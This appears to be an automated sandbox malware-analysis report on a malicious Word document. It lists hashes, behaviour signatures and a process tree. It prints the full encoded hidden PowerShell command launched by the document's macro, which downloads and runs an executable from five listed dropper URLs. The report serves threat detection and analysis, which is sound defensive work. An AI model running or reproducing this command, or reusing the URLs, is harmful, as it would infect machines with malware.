Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:24

General

  • Target

    77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093.doc

  • Size

    181KB

  • MD5

    24730dd65a58c9581ca842fda4bf1a0f

  • SHA1

    1f5551d5364acf93210e607e2c27b7173f75b09a

  • SHA256

    77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093

  • SHA512

    b428dd175a0a9943f01ff3949234f1c7d0429610c530c93163ade70439df4d9ce8ff0c8f328ff61bba7a5064615dc26432fda1247055113bc8910d97957cc948

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7f:9NO2k4PF7tGiL3HJk9rD7bdasiv86r

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\77b36ea5d14f287d8ac426a002b3f6eeb4d337b65221fc6037840e087b4ce093.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2840
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2608

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A1DF20A8.wmf

      Filesize

      444B

      MD5

      e64cbc23cdbf6bc5199504eae371e53d

      SHA1

      ea6031392dffdcfa06523e5b1fad419e32f38299

      SHA256

      8b97a0596faed4b4daf68bec99b8fddceb36802465fc251d22480c19b837abd7

      SHA512

      cf19e3e719a40e333d5e61dac19ef6f2a8560a634521cf8b145a14ccd288a35195e4cc846c024fb17cb7ff3d0049f88da57b4a5dac8b1c10decf575e75c51ef4

    • memory/2316-18-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-23-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-5-0x0000000006590000-0x0000000006690000-memory.dmp

      Filesize

      1024KB

    • memory/2316-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2316-14-0x0000000006AD0000-0x0000000006BD0000-memory.dmp

      Filesize

      1024KB

    • memory/2316-17-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-19-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-0-0x000000002F5B1000-0x000000002F5B2000-memory.dmp

      Filesize

      4KB

    • memory/2316-2-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/2316-22-0x0000000006AD0000-0x0000000006BD0000-memory.dmp

      Filesize

      1024KB

    • memory/2316-21-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-25-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-42-0x0000000000810000-0x0000000000910000-memory.dmp

      Filesize

      1024KB

    • memory/2316-41-0x0000000006AD0000-0x0000000006BD0000-memory.dmp

      Filesize

      1024KB

    • memory/2316-39-0x00000000712CD000-0x00000000712D8000-memory.dmp

      Filesize

      44KB

    • memory/2316-40-0x0000000006590000-0x0000000006690000-memory.dmp

      Filesize

      1024KB

    • memory/2608-32-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

      Filesize

      32KB

    • memory/2608-31-0x000000001B790000-0x000000001BA72000-memory.dmp

      Filesize

      2.9MB